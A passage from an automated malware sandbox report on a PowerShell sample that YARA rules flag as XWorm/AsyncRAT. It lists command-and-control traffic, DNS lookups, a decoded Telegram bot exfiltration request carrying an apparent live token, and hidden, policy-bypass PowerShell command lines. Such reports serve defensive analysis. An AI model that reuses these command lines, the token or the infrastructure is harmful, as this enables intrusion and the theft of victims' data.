Sep 24, 2024 19:27:20.365165949 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:20.536911964 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:20.575788975 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:20.580759048 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:21.099024057 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:21.103867054 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:21.375677109 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:21.377497911 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:21.382220984 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:26.317540884 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:26.322340012 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:26.491944075 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:26.496661901 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:26.501526117 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:26.536426067 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:26.541264057 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:26.793586969 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:26.795172930 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:26.800060034 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:27.209981918 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:27.214804888 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:27.384311914 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:27.393845081 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:27.398741007 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:30.825650930 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:30.830538034 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:31.000920057 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:31.002451897 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:31.007625103 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:31.804688931 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:31.809519053 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:31.978866100 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:31.980562925 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:31.985991001 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:31.989301920 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:31.994298935 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:32.036876917 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:32.041832924 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:32.051786900 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:32.056651115 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:32.114346981 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:32.119321108 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:32.239444971 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:32.244631052 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:32.294183969 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:32.295748949 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:32.300582886 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:32.301918983 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:32.306814909 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:32.413897038 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:32.415590048 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:32.420435905 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:32.420515060 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:32.425450087 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:32.508164883 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:32.509449959 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:32.514365911 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:32.601912975 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:32.609302998 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:32.614428043 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:32.889033079 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:33.005225897 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:37.520672083 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:37.525489092 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:37.695101976 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:37.697128057 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:37.702002048 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:47.739588976 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:47.744482040 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:47.817863941 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:47.822592974 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:47.833230972 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:47.838021994 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:47.914125919 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:47.916305065 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:47.921238899 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:48.008791924 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:48.010325909 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:48.015218973 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:48.103507042 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:48.105240107 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:48.110112906 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:53.286631107 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:53.291434050 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:53.348849058 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:53.353636026 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:53.460993052 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:53.462879896 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:53.467745066 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:53.555305958 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:53.557408094 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:53.562314987 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:02.917742968 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:02.973470926 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:28:04.302210093 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:28:04.316607952 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:04.504618883 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:04.513036966 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:28:04.518030882 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:09.036314964 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:28:09.042515993 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:09.220237017 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:09.222074032 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:28:09.229799032 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:19.993736982 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:28:20.010586977 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:20.190810919 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:20.193393946 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:28:20.220323086 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:25.942631960 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:28:25.947484970 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:26.117597103 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:26.119013071 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:28:26.123788118 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:26.787331104 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:28:26.792356014 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:26.961829901 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:26.984322071 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:28:26.989219904 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:32.943531036 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:33.102593899 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:33.102696896 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:28:33.551949978 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:28:33.556801081 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:33.726433039 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:33.747632980 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:28:33.752394915 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:40.333381891 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:28:40.338227034 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:40.508133888 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:28:40.509104967 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:28:40.514427900 CEST	50000	49709	191.96.207.180	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 24, 2024 19:24:43.525140047 CEST	53244	53	192.168.2.8	1.1.1.1
Sep 24, 2024 19:24:43.596951008 CEST	53	53244	1.1.1.1	192.168.2.8
Sep 24, 2024 19:24:44.418734074 CEST	64130	53	192.168.2.8	1.1.1.1
Sep 24, 2024 19:24:44.469373941 CEST	53	64130	1.1.1.1	192.168.2.8
Sep 24, 2024 19:25:00.991964102 CEST	54630	53	192.168.2.8	1.1.1.1
Sep 24, 2024 19:25:01.509485006 CEST	53	54630	1.1.1.1	192.168.2.8
Sep 24, 2024 19:25:16.184137106 CEST	53	60767	162.159.36.2	192.168.2.8
Sep 24, 2024 19:25:17.012989998 CEST	53	62973	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 24, 2024 19:24:43.525140047 CEST	192.168.2.8	1.1.1.1	0xf521	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Sep 24, 2024 19:24:44.418734074 CEST	192.168.2.8	1.1.1.1	0xdf4e	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Sep 24, 2024 19:25:00.991964102 CEST	192.168.2.8	1.1.1.1	0x27df	Standard query (0)	vecotr.viewdns.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 24, 2024 19:24:43.596951008 CEST	1.1.1.1	192.168.2.8	0xf521	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Sep 24, 2024 19:24:43.596951008 CEST	1.1.1.1	192.168.2.8	0xf521	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Sep 24, 2024 19:24:43.596951008 CEST	1.1.1.1	192.168.2.8	0xf521	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Sep 24, 2024 19:24:44.469373941 CEST	1.1.1.1	192.168.2.8	0xdf4e	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)	false
Sep 24, 2024 19:25:01.509485006 CEST	1.1.1.1	192.168.2.8	0x27df	No error (0)	vecotr.viewdns.net	191.96.207.180	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	104.26.12.205	443	7432	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 17:24:44 UTC	170	OUT	GET /?format=text HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.ipify.org Connection: Keep-Alive
2024-09-24 17:24:44 UTC	211	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 17:24:44 GMT Content-Type: text/plain Content-Length: 11 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8c847840ad570f5b-EWR
2024-09-24 17:24:44 UTC	11	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	149.154.167.220	443	7432	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 17:24:45 UTC	292	OUT	POST /bot7023733342:AAF7anpSpW-b4P0f9IHAtSRpneaxwA7w_Lc/sendMessage HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/x-www-form-urlencoded Host: api.telegram.org Content-Length: 63 Connection: Keep-Alive
2024-09-24 17:24:45 UTC	63	OUT	Data Raw: 63 68 61 74 5f 69 64 3d 31 35 37 34 36 33 38 33 33 33 26 74 65 78 74 3d 48 61 63 6b 65 64 21 2b 42 79 2b 4d 52 56 2b 56 69 63 74 69 6d 2b 49 50 25 33 41 2b 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: chat_id=1574638333&text=Hacked!+By+MRV+Victim+IP%3A+8.46.123.33
2024-09-24 17:24:45 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 24 Sep 2024 17:24:45 GMT Content-Type: application/json Content-Length: 328 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-24 17:24:45 UTC	328	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 30 34 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 30 32 33 37 33 33 33 34 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 30 78 70 75 74 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 78 70 75 74 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 35 37 34 36 33 38 33 33 33 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 65 73 68 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6d 65 73 68 6f 78 79 7a 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 32 37 31 39 38 36 38 35 2c 22 74 65 78 74 22 3a 22 48 61 63 6b 65 64 21 20 42 79 20 4d 52 56 20 56 69 63 74 Data Ascii: {"ok":true,"result":{"message_id":2048,"from":{"id":7023733342,"is_bot":true,"first_name":"0xputty","username":"xputty_bot"},"chat":{"id":1574638333,"first_name":"Mesho","username":"meshoxyz","type":"private"},"date":1727198685,"text":"Hacked! By MRV Vict

Target ID:	1
Start time:	13:24:30
Start date:	24/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\LUYYSwStKN.ps1"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:24:31
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:24:43
Start date:	24/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\ProgramData\Music\Visuals\VsLabs.vbs"
Imagebase:	0x7ff62d180000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:24:44
Start date:	24/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Music\Visuals\VsEnhance.bat" "
Imagebase:	0x7ff61dc70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:24:44
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:24:44
Start date:	24/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"
Imagebase:	0x7ff61dc70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:24:44
Start date:	24/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:24:56
Start date:	24/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x4b0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000000B.00000002.3865121018.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000B.00000002.3865121018.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000000B.00000002.3868513529.0000000002771000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFB4AEF26F9 Relevance: 1.0, Instructions: 961
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1630895942.00007FFB4AEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AEF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffb4aef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbe52afdb2b887c2e73638b6843bb4560be35e2fbe19beff1276f6f2115f4bfc
Instruction ID: 151de37953e28e0a0afdf92146cdcd6354a09bffe52ea6043424eaf4a7460ec1
Opcode Fuzzy Hash: fbe52afdb2b887c2e73638b6843bb4560be35e2fbe19beff1276f6f2115f4bfc
Instruction Fuzzy Hash: E85248A2A4EBCA1FE796BF7888551A57F94FF56310B2801FBE09CCB1D3DA189C058351

Function 00007FFB4AEF6D23 Relevance: 1.7, Strings: 1, Instructions: 488
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H7x[, xrefs: 00007FFB4AEF6F37

Memory Dump Source

Source File: 00000001.00000002.1630895942.00007FFB4AEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AEF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffb4aef0000_powershell.jbxd

Similarity

API ID:
String ID: H7x[
API String ID: 0-1168058201
Opcode ID: e1a35273a47e31e15b2f3e424d560d13fbccec22e753720d025d7849cd926a50
Instruction ID: 04f751f8803464aba8a31d711b73bd8e45bead2a2aab9ac8ddbf97effcd4d294
Opcode Fuzzy Hash: e1a35273a47e31e15b2f3e424d560d13fbccec22e753720d025d7849cd926a50
Instruction Fuzzy Hash: 0ED159A2A4EBC95FE396BE3898651747FE5EF4A210B2900FBE05DC71D3D9189C06C391

Function 00007FFB4AE37E6A Relevance: 1.6, APIs: 1, Instructions: 99
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00007FFB4AE384FE

Memory Dump Source

Source File: 00000001.00000002.1630108081.00007FFB4AE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffb4ae20000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 100bf662a170f9837b937108a23d03653d65a237965c21488ce0076ac51ca8b1
Instruction ID: d52387bda740feb54639244720358457a445d8eb1238c7bb532b358f40033e87
Opcode Fuzzy Hash: 100bf662a170f9837b937108a23d03653d65a237965c21488ce0076ac51ca8b1
Instruction Fuzzy Hash: D921A07190CA1C9FDB58EF6CD449BF9BBE0FB69320F10822ED00AD3651DB70A4168B91

Function 00007FFB4AEF01E9 Relevance: .4, Instructions: 399
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1630895942.00007FFB4AEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AEF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffb4aef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d4c7e8cb5feb17ebf5a62750c4ce193277dedf81219b86674567796f689e202
Instruction ID: 0f107a90e418456d73fe4e008eef05e64d617e2dfbddd3ad97841c6c9742ecad
Opcode Fuzzy Hash: 8d4c7e8cb5feb17ebf5a62750c4ce193277dedf81219b86674567796f689e202
Instruction Fuzzy Hash: F3B1F69294E7C55FF396BE7888691607FE4EF56210B2940FBE59CCB1D3E81C5C0A8362

Function 00007FFB4AEF7ECF Relevance: .2, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1630895942.00007FFB4AEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AEF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffb4aef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60d1dedfc1353824aee9d5b2b5a08087d971d1c3e8446afe3b7091cda8b70733
Instruction ID: c716b3a5de04055bb091c624f53af601494d314d76c5298b1932cad0274e11cd
Opcode Fuzzy Hash: 60d1dedfc1353824aee9d5b2b5a08087d971d1c3e8446afe3b7091cda8b70733
Instruction Fuzzy Hash: A741376264DB850FD756BF3C8860661BFE0FF56310B2801FBE088C7193DA18AC46C392

Function 00007FFB4AEF6A83 Relevance: .2, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1630895942.00007FFB4AEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AEF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffb4aef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34f19f584e27a8577529ab0ce10e97f6f35fc1785027a885a4e0022f2f9eab76
Instruction ID: 4dbbc16d0c1956c3a27c25f11c54e323387ce89d3664a3c1f540b66c0d1ee186
Opcode Fuzzy Hash: 34f19f584e27a8577529ab0ce10e97f6f35fc1785027a885a4e0022f2f9eab76
Instruction Fuzzy Hash: 0051E5A2A4DA868FE7A9BE3C981117477D5FF89310B2800FBE06DC7197DD14EC068381

Function 00007FFB4AD0E540 Relevance: .1, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1629446731.00007FFB4AD0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AD0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffb4ad0d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40eaa14abd4544810a67ef653ab27520a90fdcba625ed316d0035711b5eafc7e
Instruction ID: c8edee542ab845f9f99b648f10b51b5a140cb8550183be42a92c6315f81145bd
Opcode Fuzzy Hash: 40eaa14abd4544810a67ef653ab27520a90fdcba625ed316d0035711b5eafc7e
Instruction Fuzzy Hash: FA4123B040DBC44FE75A9F38D8459523FF0EF52224B1905DFD088CB1A3DA25E80AC792

Function 00007FFB4AEF6ACF Relevance: .1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1630895942.00007FFB4AEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AEF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffb4aef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
